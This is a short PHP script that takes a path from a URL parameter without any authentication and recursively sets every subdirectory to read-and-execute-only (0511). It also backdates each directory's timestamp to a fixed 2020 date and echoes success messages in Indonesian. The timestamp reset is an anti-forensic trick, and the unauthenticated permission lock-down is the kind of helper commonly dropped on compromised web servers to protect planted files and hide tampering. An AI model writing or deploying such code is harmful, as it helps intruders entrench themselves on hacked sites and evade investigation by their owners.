<?php
        
    class UbahIzin {

        function recursive_directory($dir) {
            $tree = glob(rtrim($dir, '/') . '/*');
            
            foreach($tree as $sc) {  
                if(is_dir($sc)){
                    $this->recursive_directory($sc);
                    chmod($sc, 0511);
                    touch($sc, strtotime('2020-11-16 14:14:06'));
                    echo "Berhasil mengganti izin : " . $sc . "<br>";
                }
            }
        }
    }

    $instance = new UbahIzin;
    $instance->recursive_directory($_GET['path']);

    ?>